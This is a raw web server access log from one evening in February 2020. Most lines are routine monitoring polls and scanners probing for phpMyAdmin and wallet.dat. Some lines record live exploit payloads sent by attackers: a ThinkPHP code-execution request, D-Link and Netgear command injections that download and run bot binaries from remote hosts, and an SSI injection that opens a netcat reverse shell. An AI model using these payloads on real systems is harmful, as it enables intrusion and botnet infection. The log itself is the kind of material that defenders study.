61.19.71.84 - - [29/Feb/2020:20:46:37 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:37 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:37 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:38 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:38 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:38 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:38 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:39 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:39 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:39 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:39 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:39 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:40 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:40 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:40 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:40 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:41 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:41 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:41 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:41 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:41 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:42 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:42 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:42 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:42 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:43 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:43 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:43 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:43 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [29/Feb/2020:20:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:46:44 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:44 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:44 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:44 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [29/Feb/2020:20:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.9.17.118 - - [29/Feb/2020:20:58:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0"
169.1.208.92 - - [29/Feb/2020:20:58:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:20:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:20:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.202.1.33 - - [29/Feb/2020:21:00:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:21:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.249.102.49 - - [29/Feb/2020:21:05:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:21:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.53.19.217 - - [29/Feb/2020:21:08:34 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:37 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:37 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:38 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:38 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:39 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:39 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:40 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.53.19.217 - - [29/Feb/2020:21:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [29/Feb/2020:21:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.163.233.11 - - [29/Feb/2020:21:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:21:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.79.150.84 - - [29/Feb/2020:21:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
82.79.150.84 - - [29/Feb/2020:21:11:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:21:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.27.226 - - [29/Feb/2020:21:13:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:21:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.230.62.183 - - [29/Feb/2020:21:14:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:21:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.32 - - [29/Feb/2020:21:15:18 +0100] "GET /wallet.dat HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [29/Feb/2020:21:15:18 +0100] "GET /wallets/wallet.dat HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [29/Feb/2020:21:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.220.116 - - [29/Feb/2020:21:25:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:21:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.61 - - [29/Feb/2020:21:31:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [29/Feb/2020:21:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.82.8 - - [29/Feb/2020:21:38:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:21:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.210.211.21 - - [29/Feb/2020:21:53:06 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://221.210.211.21:45488/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [29/Feb/2020:21:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:21:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [29/Feb/2020:21:59:21 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [29/Feb/2020:21:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.97.128.58 - - [29/Feb/2020:22:04:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:22:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.72.182.35 - - [29/Feb/2020:22:08:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:22:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
